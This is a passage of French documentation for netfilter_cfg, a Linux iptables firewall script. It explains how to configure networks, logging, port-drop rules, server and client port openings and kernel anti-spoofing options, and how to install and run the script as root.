Le NAT permet aux autres machines du réseau de se connecter à Internet, en utilisant l’adresse IP de votre propre machine. Sous Windows®, cela s’appelle du “partage de connexion”. Tout comme votre machine, les machines du réseau deviendront elles aussi “invisibles” aux “attaquants” d’Internet. Par contre, le firewall de votre machine ne peut pas filtrer les connexions faites par les machines du réseau. En bref, cela veut dire que :

Si il y a un spyware, un virus, ou une autre cochonnerie de ce type sur une machine du réseau, celui-ci pourra “sortir” sur Internet, en se faisant passer pour votre machine.

Vous ne pourrez pas empêcher Windows® ou les logiciels associés qui tournent sur les machines du réseau de se connecter sur Internet.

Si vous voulez museler les machines de votre réseau, il faudra soit :

Que vous installiez des “firewalls personnels” sur chacune des machines de votre réseau.

Acheter des licences pour chacun des logiciels propriétaires de ces machines afin d’avoir la conscience tranquille…

Passer toutes les machines du réseau local sous Linux…

Exemple :

LAN[0]=”eth0|192.168.0.1|255.255.255.0|192.168.0.255||routable:dhcp_server”
LAN[1]=”eth0|192.168.1.1|255.255.255.0|192.168.1.255||routable”
LAN[2]=”eth0|192.168.2.1|255.255.255.0|192.168.2.255||non_routable”
LAN[3]=”eth1|62.147.73.23|255.255.255.0|62.147.73..255||non_routable:degroupe”

Dans cette exemple :

La machine possède physiquement 2 cartes réseaux (”eth0″ et “eth1″).

Elle a 3 adresses IP sur la première carte réseau (”192.168.0.1″, “192.168.1.1″ et “192.168.2.1″).

Les “interfaces” “eth0:0″ et “eth0:1″ sont des interfaces réseaux virtuelles pour les 2 adresses IP “192.168.1.1″ et “192.168.2.1″. Mais notez bien que l’on écrit dans netfilter_cfg le nom de l’interface réseau physique “eth0″ et non les noms des interfaces réseaux virtuelles (”eth0:0″ et “eth0:1″)

Les 2 premiers réseaux connectés sur la carte réseaux “eth0″ sont routables (ils peuvent utiliser le NAT), par contre le 2nd réseau virtuel (eth0:1/192.168.2.1/255.255.255.0) ne peut pas se connecter sur Internet.

Les machines des réseaux locaux connectés sur la carte réseau eth0 pourront recevoir automatiquement une adresse IP, grâce au serveur DHCP se trouvant sur la machine.

La 2nd carte réseau physique (eth1) est connectée à un modem ADSL sur une ligne dégroupée.

En général, vous n’avez qu’une seule carte réseau local, donc cela devrait aller assez vite à configurer. Utilisez les commandes “ifconfig” en temps que root ou “/sbin/ifconfig” en temps qu’utilisateur simple afin de remplir à ces informations.

Dans une prochaine version de ce programme, je rajouterai un module de détection automatique de la configuration réseau ce qui évitera de configurer cette partie là du script…

IV-2 Debug

Ce programme peut afficher ou sauver dans un fichier des messages d’informations, permettant de trouver plus facilement des erreurs de paramétrage. C’est ce que l’on appellera par la suite le debug.

Si vous ne voulez pas vous ennuyer, laissez les valeurs par défaut, et passez à la suite…

DEBUG_DISPLAY=

“y” : Tous les messages de debug sont affichés à l’écran. C’est très pratique, mais le programme est très verbeux, donc il y a beaucoup à lire…

“n” : Le programme n’affichera que le strict nécessaire à l’écran. Les messages d’erreurs notamment…

IPTABLES_DEBUG_DISPLAY=

“y” : Les commandes “iptables” utilisées sont affichées, ce qui permet de comprendre comment fonctionne le firewall sous Linux… Là encore, c’est très verbeux. Et puis dans tout les cas, ces commandes sont stockés dans le fichier de debug…

“n” : N’affiche pas les commandes “iptables”.

Astuce :

Si vous utiliser toutes les options de debug (”DEBUG_DISPLAY=y” et “IPTABLES_DEBUG_DISPLAY=y”), vous pouvez créer un script (”script.sh” par exemple) contenant les commandes “iptables” utilisées.
Pour cela, tapez :
/usr/local/sbin/netfilter_cfg | grep “#[D]*I#” | sed “s/#I# *//g;s/#DI#/#/g” > script.sh

Si vous stockez les messages de debug dans un fichier (voir paragraphe suivant), vous pouvez aussi extraire ces informations de ce fichier :
grep “#[D]*I#” /var/log/netfilter_cfg | sed “s/#I# *//g;s/#DI#/#/g” > script.sh
Mais cela extraira toutes les commandes iptables lancées depuis le début de l’utilisation de netfilter_cfg…

DEBUG_FILE=…

Tous les messages de debug et d’erreurs peuvent êtres stockés dans un fichier, afin d’être analysés plus tard. 3 moyens sont proposés, mais vous pouvez faire autrement si vous le voulez :

DEBUG_FILE=/dev/null” : Tous les messages de debug sont détruits automatiquement, rien n’est sauvé … C’est simple, mais pas très instructif …

DEBUG_FILE=/var/log/$PROGRAM_NAME” : Tous les messages de debug sont sauvés dans un fichier unique, “/var/log/netfilter_cfg” par exemple.

DEBUG_FILE=/tmp/$PROGRAM_NAME.$$” : A chaque lancement de “netfilter_cfg”, un fichier de debug /tmp/netfilter_cfg.xxxxx est créé. Le “xxxx” est le PID du processus, c’est à dire un numéro compris entre 1 et 65536. Cela permet de comparer les messages de debug entre plusieurs utilisation du programme.

IV-3 Log

Lorsque “Netfilter” n’arrive pas à trouver une règles l’autorisant à laisser passer un paquet de données, et parce qu’il est configuré comme ceci par ce programme, Netfilter les détruit impitoyablement. Mais auparavant, il peut stocker cette information via un mécanisme de “log” (on peut traduire cette action par l’anglicisme barbare “logger“).

La technique de log utilisé est défini par la variable “LOG_TYPE=”

Si vous ne voulez pas vous ennuyer, laisser les valeurs par défaut, et passez à la suite…

“LOG_TYPE=NO_LOG” : Aucun log n’est sauvé. Cela à le mérite d’être simple, mais ce n’est pas particulièrement intelligent, car vous ne savez pas ce qui se passe. Mais enfin, vous êtes grand, alors vous faites comme vous voulez…

“LOG_TYPE=LOG” : Les log sont sauvés par le mécanisme de log standard de Linux, à savoir le démon “klog“. Il en résulte que les informations seront sauvées dans le fichier /var/log/messages. C’est la technique que je vous conseille et qui est part défaut.

“LOG_TYPE=ULOG” : On utilise ici un autre mécanisme de log appelé “ulogd“. C’est très pratique, car ainsi les log du firewall sont séparés des log du kernel.

Cependant, “ulogd” n’est pas fournit en standard dans les distributions Linux, et il faut l’installer à la main. Ce n’est pas très compliqué, et je vous laisse lire les explications à ce sujet dans le code source de “netfilter_cfg” … Pour plus d’information, visitez le site de ulogd.

Personnellement, j’utilise “ulogd” et c’est vraiment le super pied modèle 0xFFFFFFFF…

“LOG_TABLES=” : Indique quelles sont les tables et les chaînes qu’il faut logger. La syntaxe est une suite de noms de tables suivit du nom de la chaînes à logger, séparés par des “:” et des “|” : [nom de table]:[nom de chaîne]|[nom de table]:[nom de chaîne]|…

Exemple :

LOG_TABLES=”filter:INPUT|filter:FORWARD|filter:OUTPUT|\
nat:PREROUTING|nat:OUTPUT|nat:POSTROUTING|\
mangle:PREROUTING|mangle:INPUT|mangle:FORWARD|mangle:OUTPUT|mangle:POSTROUTING”

Remarque : Vous pouvez rajouter des espaces dans cette syntaxe, afin d’éclaircir la syntaxe.

Astuce : Un moyen très pratique de visualiser un fichier de log en temps réel est la commande : tail -f

Par exemple :

[root@phoenix /]# tail -f /var/log/messages

Laissez cette commande s’exécuter dans un terminal, elle affichera en temps réel les modifications du fichiers “/var/log/messages”. Ainsi, vous verrez immédiatement les connexions qui sont refusées par le firewall.

Les autres variables pour le log sont “LOG_PREFIX=” et “LOG_LOG_LEVEL=”. Ce n’est pas très important, regardez dans le code source pour avoir plus d’informations…

IV-4 Paramètres du programme

A priori, vous n’êtes pas supposé changer cette partie là, sauf si vous voulez modifier le comportement par défaut du programme. Comme vous le verrez plus tard, le programme peut se lancer en lui fournissant des paramètres, afin de le configurer suivant vos besoins.

Les différents paramètres du programme se trouvent dans la section “WAITING_PARAMETERS”. Chaque ligne correspond à un paramètre que sait gérer “netfilter_cfg”. Par exemple, on trouve le paramètre WAITING_PARAMETERS[3]=”–nat|on|off|off”, ou –nat est le paramètre.

C’est la dernière valeur de chaque ligne (après le dernier “|”) qui définie la valeur par défaut. Il faut que ce soit une des précédentes valeurs (sauf la première, évidement).

Par exemple, pour ‘WAITING_PARAMETERS[1]=”–drop-rules|on|off|on”‘, le paramètre “–drop-rules” attend 2 valeurs possibles : “on” et “off”. Et par défaut, c’est à dire si ce paramètre n’est pas passé au programme, ou si il est passé sans “on” ou “off”, c’est la valeur “on” qui sera utilisé.

Un conseil tout simple : N’y touchez pas, les options par défaut vont satisfaire tout le monde dans la majorité des cas…

IV-5 Règles de rejet systématique

Lorsque vous êtes connectés sur Internet, une grand quantité de trafic va faire réagir votre firewall, et lui faire remplir le fichier de log. C’est notamment le cas de l’activité “peer-to-peer”, comme “kazaa”, “edonkey”, “emule”, et autres logiciels de ce genre.

Il peut être donc intéressant de ne pas logger ce type de connexions entrantes, en même temps que de les ignorer. C’est le but du paramétrage “DROP” (”rejeter” en Français) :

DROP[]=”||||||”

est le numéro de la règle de rejet. Cela doit être un nombre croissant supérieur ou égal à 0.

: C’est la chaîne “filter” qu’il faut renseigner. La valeur doit être “INPUT” ou “OUTPUT”. Mettez toujours “INPUT”, à moins que vous ne sachiez ce que vous faites.

: C’est le nom de l’interface réseau que l’on va contrôler. Mettre “ppp0″ pour une connexion Internet de type ADSL ou modem.
Ce paramètre peut être vide.

: C’est la source du paquet de données. Il peut y avoir plusieurs syntaxes :

xx.xx.xx.xx : Une adresse IP. Exemple : 25.68.48.157 .

xx.xx.xx.xx/yy : Un réseau avec son masque. Exemple : 25.68.48.0/24 .

xx.xx.xx.xx/zz.zz.zz.zz : Un réseau avec son masque. Exemple : 25.68.48.0/255.255.255.0 .

Ce paramètre peut être vide.

: C’est la cible du paquet de données. La syntaxe est identique à celle de “”.
Ce paramètre peut être vide.

: C’est le type de paquet. Il y a 3 options : “tcp”, “udp” ou “icmp”. Ou sinon, utiliser une valeur de protocole définie dans le fichier /etc/protocols.
Ce paramètre peut être vide.

: Port source de la connexion. Il peut y avoir plusieurs syntaxes :

xxxx : Un port bien précis. Exemple : 10738 .

xxxx:yyyy : Une plage de ports. Exemple : 4660:4700 .

: Port cible de la connexion. La syntaxe est identique à celle de “”.

Exemples d’utilisation :

DROP[0]=”INPUT|ppp0|||tcp||4660:4700″
DROP[1]=”INPUT|ppp0|||udp||4660:4700″

Ces 2 règles permettent de supprimer tout les paquets de type P2P venant (”INPUT”) d’Internet (”ppp0″), quelque soit leur adresses IP source ou destination (”|||”), de type “tcp” ou “udp” (et donc pas du type “icmp”), quelque soit leur port source (”||”), et à destination des ports compris entre “4660″ et “4700″ (”4660:4700″).

Comment rajouter de nouvelles règles de rejet ? C’est très simple : Vous lancez votre firewall, et vous regardez de temps en temps votre fichier de log. Si vous voyer qu’il se remplit de messages de connexion d’un type particulier (faites plus précisément attention au port cible), vous pouvez rajouter une règle de rejet.

Par exemple :

DROP[0]=”INPUT|ppp0|||tcp||139″
DROP[1]=”INPUT|ppp0|||udp||137″

permet d’éliminer les requêtes NETBIOS faites par des “vilains pirates” qui veulent accéder à vos répertoires partagés Windows® ou Samba.

IV-6 Paramétrages particuliers pour les serveurs

A priori, vous n’êtes pas intéressé par ce chapitre. Il s’agit des options permettant de laisser passer des paquets de données à destination de divers serveurs que vous avez pu installer sur votre ordinateur, et dont vous voulez laisser l’accès à Internet.

Hoouu la la, vous êtes sûr que vous avez fait cela ??? Z’êtes pas fou, non ? . Bon, commençons par voir comment paramétrer l’accès à ces serveurs, puis nous verrons un peu plus loin comment indiquer à “netfilter_cfg” de laisser ces serveurs accessibles depuis Internet.

IV-6-1 Tactical Ops

C’est un jeu se jouant en réseau local ou sur Internet. Ces options permettent de configurer les fonctions de serveur sur Internet.

TO_PORT= : Définit sur quel port écoute le serveur Tactical Ops. C’est 7777 par défaut.

TO_WAN_BROADCAST= : Autorise le serveur Tactical Ops à émettre des messages destinés à tout le monde sur Internet.
C’est destiné à informez les “masters servers” que vous proposez un serveur TO. Si vous voulez que votre partie reste discrète, il est préférable de le mettre à “n”.

TO_LAN_BROADCAST= : Autorise le serveur Tactical Ops à émettre des messages destinés à tout le monde sur les réseaux locaux. Bon, ce n’est pas très grave, c’est un réseau local après tout. Vous pouvez le mettre à “y”.

IV-6-2 Serveur FTP

Si vous avez un serveur FTP, que vous voulez rendre accessible depuis Internet.

FTP_CMD_PORT= : C’est le numéro de port pour les commandes lors de connexions sur un serveur FTP tournant en local. En général, c’est “21″. On peut aussi mettre la valeur “ftp” qui est indiqué dans votre fichier /etc/services.

FTP_DATA_PORT= : C’est le numéro de port pour les données lors de connexions sur un serveur FTP tournant en local. En général, c’est “20″. On peut aussi mettre la valeur “ftp-data” qui est indiqué dans votre fichier /etc/services.

IV-6-3 Serveur HTTP/HTTPS

Si vous faite tourner un serveur web avec des pages encodées (HTTPS <=> port 443) ou non (HTTP <=> port 80).

HTTP_PORT= : C’est le numéro de port lorsque l’on publie des pages HTML non encodées. En général, c’est “80″. On peut aussi mettre la valeur “http” qui est indiqué dans votre fichier /etc/services.

HTTPS_PORT= : Ce numéro de port est utilisé lorsque l’on publie des pages HTML encodées. En général, c’est “443″. On peut aussi mettre la valeur “https” qui est indiqué dans votre fichier /etc/services.

IV-6-4 Serveur SSH (Secure SHell)

Cette option configure le firewall pour rendre un serveur SSH (un shell utilisateur) accessible depuis Internet.

SSH_PORT= : Numéro de port du serveur SSH. En général, c’est “22″. On peut aussi mettre la valeur “ssh” qui est indiqué dans votre fichier /etc/services.

IV-6-5 Serveur Jabber

Jabber est un système de client/serveur de discussion (chat) sur Internet. Le modèle est quelque peu particulier, car les serveurs Jabber sont distribués sur Internet, et n’importe quel machine connecté à Internet peut serveur Jabber. Si vous hébergez un serveur Jabber sur votre machine, il vous faudra ouvrir 2 ports.

JABBER_C2S_PORT= : Ce port permet aux clients Jabber de se connecter à votre serveur. C’est généralement le port “5222″ qui est utilisé.

JABBER_S2S_PORT= : Ce port permet aux serveurs de dialoguer entre eux. C’est généralement le port “5269″ qui est utilisé.

IV-6-6 Autres serveurs

Pour l’instant, je n’ai pas prévu de nouvelles extensions pour serveurs. Mais c’est tout à fait faisable d’en rajouter de nouvelles. Je vous laisse donc le soin de les rajouter vous-même, à moins que vous ne m’en fassiez la suggestion … Après tout, la licence GPL est faite pour cela !

IV-7 Paramétrages particuliers pour les clients

Tout comme les logiciels de type serveurs, certains logiciels de type clients doivent pouvoir être accessible depuis Internet. Il convient dans ce cas de leur ouvrir certains ports, afin qu’ils puissent communiquer et remplir leur office.

IV-7-1 Client GnomeMeeting

GnomeMeeting est un fabuleux logiciel de conférence audio, vidéo et texte. Il permet de faire communiquer plusieurs utilisateurs à travers Internet. Comme il doit pourvoir être contacté par vos correspondants, il a besoin d’un certains nombre de ports ouverts. Consultez la documentation de GnomeMeeting pour plus d’informations sur les besoins d’ouvertures de ports

GM_TCP_LISTENING_PORT= : C’est le port par lequel GnomeMeeting est informé d’un appel entrant utilisant le protocole H.323. La configuration par défaut est “1720″. On peut aussi mettre la valeur “h323hostcall” qui est indiqué dans votre fichier /etc/services.

GM_RTP_PORT_RANGE= : Si vous utilisez un tunnel H.245, c’est la configuration par défaut, GnomeMeeting va utiliser cet intervalle de ports pour communiquer avec vos correspondants. La configuration par défaut est “5000:5007″, mais vous pouvez utiliser un autre intervalle si en même temps vous reconfigurez ce paramètre là dans GnomeMeeting.

GM_TCP_PORT_RANGE= : Si votre correspondant utilise un logiciel comme “Netmeeting” sous Windows, vous devrez ouvrir ces ports ci pour communiquer avec lui. La configuration par défaut est “30000:30010″, mais vous pouvez utiliser un autre intervalle si en même temps vous reconfigurez ce paramètre là dans GnomeMeeting.

GM_GK_PORT_RANGE= : Dans le cas où vous ne communiquez pas directement avec votre correspondant, mais que vous utilisez une “passerelle GateKeeper”, vous devez ouvrir ces ports ci. La configuration par défaut est “30000:30010″, mais vous pouvez utiliser un autre intervalle si en même temps vous reconfigurez ce paramètre là dans GnomeMeeting.

IV-7-2 Client xMule

xMule est un logiciel de Peer-To-Peer, c’est à dire d’échange de fichiers. Il utilise le réseau “eMule”.

XMULE_TCP_PORT= : Ce port TCP doit être ouvert afin de régler le problèmes des “lowID”. La valeur par défaut est “4662″.

XMULE_UDP_PORT= : Ce port UDP doit aussi être ouvert. La valeur par défaut est “4672″.

IV-7-3 Client BitTorrent

BitTorrent (BT) est un logiciel de peer-to-peer, à la manière de “xMule”. Contrairement à xMule, il utilise un plage de ports TCP “flottants” de 6881 à 6999. On peut change la plage de port sur lesquels BT écoute en lançant le programme BT avec les options “–minport” et “–maxport”.

BT_PORT_RANGE= : Ce sont les ports standards sur lequel le client BitTorrent peut écouter. Si vous utilisez plusieurs clients BT en parallèle, chaque client utilisera un port différents des autres, afin de ne pas interférer avec eux. La valeur par défaut est “6881:6999″ (oui, cela fait beaucoup…).

BT_TRACKER_PORT= : Ce port n’est à utiliser que si vous faites tourner un “tracker” BitTorrent sur votre machine. Ce n’est en général pas nécessaire, donc vous pouvez laisser commenté cette valeur. La valeur par défaut est “6969″.

IV-8 Plus de sécurité avec le kernel

Les couches réseaux du kernel Linux peuvent apporter un lot d’options intéressantes. Netfilter_cfg propose d’utiliser certaines d’entre elles, afin de renforcer un peu plus la sécurité de la machine.

Ces options sont :

KERNEL_SPOOFING_PROTECTION=

“y” : C’est l’option par défaut. Les paquets entrants dans une interface mais à destination d’une adresse IP d’une autre interface sont bloqués. Cette technique d’envoi de paquets a pour nom le “spoofing”, et est clairement destinée à pénétrer vos réseaux internes. Cette option devrait toujours être à “y”. Remarquez que même ainsi, cela n’empêche pas le NAT.

“n” : Les paquets de “spoofing” ne sont pas filtrés par les couches réseaux du kernel. Mais ils devraient l’être par Netfilter.

KERNEL_PING_PROTECTION=

“y” : Ainsi configuré, toute commande de “ping” est refusé sur toutes les interfaces réseaux. C’est très efficace mais cela peut être un peu trop limitatif pour les réseaux internes, car ils ne peuvent plus utiliser le “ping” à destination de cette machine.

“n” : C’est l’option par défaut. Les “ping” ne sont pas filtrés, mais “Netfilter” se chargera de filtrer au moins ceux venant d’Internet. A moins que vous n’utilisiez le paramètre “–wan-ping on”.

V Utilisation

V-1 Mise en garde

Bien, maintenant que vous avez modifié le script, il ne vous reste plus qu’à l’exécuter. Comme il est écrit au tout début de ce document, la principale commande qui va être utilisé dans ce script est “iptables”, qui doit être lancé en temps que root. Donc si vous n’êtes pas l’administrateur de votre machine, jetez ce programme et allez jouer à Frozzen Bubble. Ou retournez sous Windows® vous faire cracker, espionner et piéger…

Bon, tout cela pour dire que, afin que ce programme (”netfilter_cfg”) marche, vous devez le lancer avec les droits root, les droits absolus sur votre machine quoi … Vous devez donc pour cela avoir confiance dans mon programme …. Glups, pas évident, hein ? Vous savez, vous avez encore le temps d’aller jouer à Frozzen Bubble…

Vous êtes toujours là ? Biennnnnnn !!!! Bon, merci de votre confiance. A priori je n’ai pas fait de bêtises en écrivant ce logiciel, et je l’utilise tous les jours depuis déjà quelques temps … A défaut de vous rassurer, passons tout de suite à ce qui est important, à savoir : L’installer et le lancer …

V-2 Installation

Commencez par vous logger en temps que root. Puis sauvez le fichier “netfilter_cfg” quelque part sur votre disque dur. Personnellement, le répertoire “/usr/local/sbin/” me semble le meilleur endroit. Ne vous soucier pas pour l’instant du fichier “netfilter_cfgd“, nous aurons l’occasion d’en reparler un peu plus loin. Maintenant, donnez les droits d’exécution au fichier “netfilter_cfg” avec la commande “chmod”.

Par exemple :

[root@phoenix /]# chmod +x /usr/local/sbin/netfilter_cfg

Il est de bon goût de donner la propriété et l’usage exclusif au root de ce fichier. Tapez donc les commandes suivantes :

[root@phoenix /]# chown root:root /usr/local/sbin/netfilter_cfg

[root@phoenix /]# chmod 750 /usr/local/sbin/netfilter_cfg

La première commande indique que ce fichier appartient au root. La seconde autorise uniquement le root à l’exécuter, et les autres utilisateurs ne peuvent même pas le lire …

V-3 Droits d’utilisation

Comment lancer le programme ? En fait, il y a 4 méthodes différentes :

Le plus logique est de lancer un terminal, dans lequel vous vous logger en root (”su -”), puis vous lancez le programme. Cela marche bien, mais c’est un tantinet lourd… Il y a plus simple quand même… Nous réserverons cette technique uniquement pour nos tests, puis nous utiliserons une technique plus évoluée.

· [olivier@phoenix /]$ su -

· [root@phoenix /]# /usr/local/sbin/netfilter_cfg

Autre manière de faire : Vous donnez au programme les droits SUID. C’est une très très mauvaise idée, car c’est une technique non sécurisée, qui peut permettre à un petit malin de prendre les droits root sur votre machine. Mais c’est aussi une technique très simple …

Bon, si vous voulez réellement l’utiliser (ne venez pas vous plaindre après …), faites ceci :

[root@phoenix /]# chown root:root /usr/local/sbin/netfilter_cfg

[root@phoenix /]# chmod 750 /usr/local/sbin/netfilter_cfg

[root@phoenix /]# chmod +S /usr/local/sbin/netfilter_cfg

La technique du “sudo” est par contre beaucoup plus “propre”. Grosso modo, vous lancez le programme via un autre programme, qui a lui-même hérité des droits root. Cela permet donc à n’importe quel utilisateur de lancer ce programme, et ce, de manière transparente

Commencez par configurer “sudo” en lançant la commande “visudo” (cela édite et contrôle le fichier /etc/sudoers). Puis modifiiez la configuration comme ceci :

= NOPASSWD:/usr/local/sbin/netfilter_cfg
où “” est votre login
et “” est le nom de votre machine

Exemple :

[root@phoenix /]# visudo

olivier phoenix=NOPASSWD:/usr/local/sbin/netfilter_cfg

Utiliser “man sudoers” et “man sudo” pour avoir plus d’informations sur la commande “sudo”.

Puis pour lancez le programme, au lieu de lancer “/usr/local/sbin/netfilter_cfg”, vous devez lancer (ici en temps que simple utilisateur “olivier”) :

[olivier@phoenix /]$ /usr/bin/sudo /usr/local/sbin/netfilter_cfg”

Pas trop compliqué, hein ?

La dernière technique est celle que je recommande. Elle consiste à automatiser l’exécution de “netfilter_cfg”, en le faisant lancé automatiquement lorsque c’est nécessaire. Nous verrons plus bas comment faire. Cependant avant d’automatiser cette opération, il convient de tester la configuration de “netfilter_cfg”. Et pour cela, la 1ère méthode est de loin la plus efficace.

Bien, passons maintenant aux paramètres

V-4 Paramètres

Comme nous l’avons vu au-dessus, ce programme attend certains paramètres pour s’exécuter. La liste complète des paramètres s’obtient avec la commande : netfilter_cfg –help

Si il s’avère que vous lancez systématiquement “netfilter_cfg” avec les même paramètres, vous pouvez modifier le comportement par défaut du programme, en forçant la valeur de ces paramètres dans le script. Pour cela, modifiez la valeur par défaut des paramètres en modifiant le tableau WAITING_PARAMETERS[..], comme indiqué plus haut.

Explications des paramètres :

–drop-rules : Valeur par défaut : “on”.
Active les règles de rejet systématique. Les paquets répondant aux règles du tableau “DROP” (voir IV-5) vont donc êtres détruits systématiquement, sans même être loggé. Pour les premières utilisations de ce script, je vous conseille de de désactiver cette option (”off”), afin que vous puissiez vous rendre compte du trafic généré par des activités comme le P2P. Puis après, activez cette option (c’est ce qui est fait par défaut), afin de ne pas trop polluer vos logs de ce type de connexions.

–spoofing-filter : Valeur par défaut : “on”.
Cette option devrait être toujours activée. Elle interdit certains types de connexions qui sont aberrantes, et qui ont clairement le but de se faire passer pour autre chose qu’elles ne sont. En bref, ce sont des techniques de piratage très très classiques. A laisser sur “on”, à moins que vous ne cherchiez les coups…

–nat : Valeur par défaut : “off”.
Cette option active le NAT, et permet donc aux réseaux routables (ceux qui ont le mot “routable” dans le tableau “LAN[...]“) de se connecter à Internet. Si vous n’avez pas de réseaux locaux, ou que vous ne voulez pas que ces réseaux accèdent à Internet via votre machine, laissez l’option par défaut (”off”).

–wait-connexion : Valeur par défaut : “off”.
Ce paramètre est tout spécialement destiné aux utilisateurs de l’ADSL. Sous Linux, quand vous voulez démarrer votre connexion ADSL, vous lancez “adsl-start” (utilisation de “rp-pppoe”) ou “startadsl” (utilisation “pppoa”). Or, afin d’assurer la re-configuration de netfilter_cfg, il convient de le lancer tout de suite après la connexion ADSL, par exemple en utilisant un mécanisme automatisé (voir plus loin). Le problème, c’est que certains modem mettent un certain temps à se connecter à Internet. Le mécanisme automatique s’exécute alors trop tôt, rendant inefficace “netfilter_cfg”.

La solution de ce problème est tout simplement de lancer “netfilter_cfg” avec le paramètre “–wait-connexion on”. Ainsi, “netfilter_cfg” va attendre que la connexion ADSL ait terminé de s’établir, et il configurera proprement la machine.

Si vous ne voulez pas utiliser le mécanisme automatique, utilisez alors les commandes suivantes afin de lancer dans la foulée votre connexion ADSL et “netfilter_cfg” :

[root@phoenix /]# adsl-start && netfilter_cfg –wait-connexion on

ou :

[root@phoenix /]# startadsl && netfilter_cfg –wait-connexion on

–silence : Valeur par défaut : “off”.
Cette commande permet de supprimer tout les messages que netfilter_cfg affiche par défaut. Cependant, vous pouvez toujours les retrouver dans le fichier de log (par défaut : “/var/log/netfilter_cfg”).

–wan-ping : Valeur par défaut : “off”.
A priori, personne sur Internet n’est supposé avoir besoin de tester votre présence grâce à la commande “ping”. Cependant, il peut-être pratique d’autoriser votre machine à répondre aux “ping” lancés par des machines d’Internet, notamment dans le cas où vous avez un serveur (FTP, TO, etc…). Si ce n’est pas le cas, laissez l’option par défaut (”off”).

–wan-to-server : Valeur par défaut : “off”.
Rend votre serveur Tactical Ops accessible depuis Internet. C’est sympa de votre part, mais vous avez intérêt à savoir ce que vous faites.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-ftp-server : Valeur par défaut : “off”.
Permet aux Internautes de se connecter sur votre serveur FTP. A moins que vous n’ayez de bonnes raison, vous n’êtes pas supposé avoir un serveur FTP.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-http-server : Valeur par défaut : “off”.
Autorise les internautes à accéder au serveur web (HTTP/HTTPS) tournant sur votre machine.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-ssh-server : Valeur par défaut : “off”.
Permet à un utilisateur se trouvant en dehors de votre réseau de travailler à distance sur votre machine, en utilisant le service SSH (Secure SHell). Il n’est pas très habituel de faire tourner un tel serveur sur sa machine, pensez donc vraiment à restreindre à un nombre limité de comptes l’accès à ce service.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-jabber-server : Valeur par défaut : “off”.
Si vous faites tourner votre propre serveur Jabber (serveur de discussion, concurrent de ICQ, MSN Messenger, etc…) sur votre machine, vous devrez activer cette option afin de le rendre accessible à vos contacts externes.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-gnomemeeting : Valeur par défaut : “off”.
Cette option vous permettra de discuter avec vos correspondants en utilisant le logiciel GnomeMeeting.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–wan-xmule : Valeur par défaut : “off”.
Si vous utiliser des logiciels de Peer-to-Peer (”P2P” : partage de fichiers) comme xMule, et que vous ne voulez pas avoir de problème de “LowID”, vous devrez utiliser cette option. Cette option est aussi utilisable avec les autres logiciels de P2P du réseau “eMule”, comme “amule”. Vous pouvez l’adapter très facilement à d’autres réseaux P2P utilisant un principe similaire, en changeant les paramètres XMULE_*_PORT.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous

–wan-bittorrent : Valeur par défaut : “off”.
BitTorrent est un autre logiciel de P2P, utilisant par contre une technique très différente de celle du réseau eMule et de ses concurrents. Il est bien connu sous Linux, et d’ailleurs la distribution Linux Mandrake l’utilise pour distribuer ses nouvelles versions.
Afin de paramétrer les options de ce service, se référer aux options vues précédemment.
Très important : Si vous utilisez cette option, lisez la remarque ci-dessous.

–lan-dhcp-server : Valeur par défaut : “off”.
Si vous faites tourner sur votre machine un serveur DHCP (un serveur de distribution d’adresses IP pour les machines de votre votre réseau local), vous devrez utiliser cette option. Sans quoi, les machines de votre réseau ne pourront pas interroger votre serveur DHCP, et elles ne pourront pas recevoir d’adresses IP. Pour utiliser cette option, il vous faudra aussi indiquer quelle(s) interface(s) réseau(x) est(sont) autorisé(s) à repondre aux requêtes DHCP. Pour cela, rajoutez l’option “dhcp_servers” dans le tableau LAN[..] tel que vu précédement.

Remarque importante. Ce n‘est pas parce que vous avez un firewall que vous êtes protégés contre toutes tentatives d’intrusion. Et notamment si vous exécutez sur votre machine un “service” (serveur ou un client “actif”), le firewall ne pourra pas sécuriser le dit service ! En effet en utilisant les options “–wan-*” vues ci-dessus, vous explicitez très clairement au firewall de laisser passer le flux de données vers ces services tournant sur votre machine. Donc c’est au service lui-même d’assurer sa propre protection… A vous donc de lire à fond la documentation qui est associé à ce service !

Comme vous pouvez le voir, le nombre d’options est assez limité (j’ai voulu faire un programme simple à utiliser …), et pour la plupart des utilisations, il suffit de lancer “/usr/local/sbin/netfilter_cfg” sans paramètre pour avoir une protection optimum…

Les grincheux pourraient dire qu’activer le NAT par défaut aurait été une bonne chose. Sans doute chez eux, personnellement je préfère décider de quand j’autorise les machines de mon réseau local à sortir sur Internet… Mais vous pouvez vous-même mettre par défaut cette option à “on” si vous voulez .

Maintenant que vous savez quelles options sont à utiliser, vous pouvez executer votre firewall, et (enfin) sécuriser votre machine…

V-5 Exécution

Sur beaucoup de sites webs, vous trouverez des scripts semblables à “netfilter_cfg” (mais moins complexe, et sans paramètres). Et notamment, on vous parlera de la commande “/etc/init.d/iptables” et des ses options “start”, “stop”, “save”, etc…

Les développeurs de ces scripts utilisent une technique particulière qui consiste à définir une fois pour toute la configuration de Netfilter, et à sauver les différentes commandes “iptables” utilisées grâce à la commande “/etc/init.d/iptables save”. L’avantage de cette technique est qu’au prochain démarrage de la machine, le firewall sera automatiquement configuré, et qu’il n’y aura plus rien à faire. Cette technique est très séduisante, mais elle a un problème. En effet, à moins de posséder une adresse Internet statique, les règles iptables de ces scripts ne peuvent pas utiliser l’adresse IP Internet de la machine comme filtre, pour la simple raison que la connexion Internet n’est pas encore lancé, où que celle-ci à changé suite à la dernière déconnexion du fournisseur d’accès.

Par exemple, les règles de filtrage des connexions sortantes Internet que l’on pourrait avoir serait :

iptables -A OUTPUT -o ppp0 -p all -m state –state ! INVALID -j ACCEPT
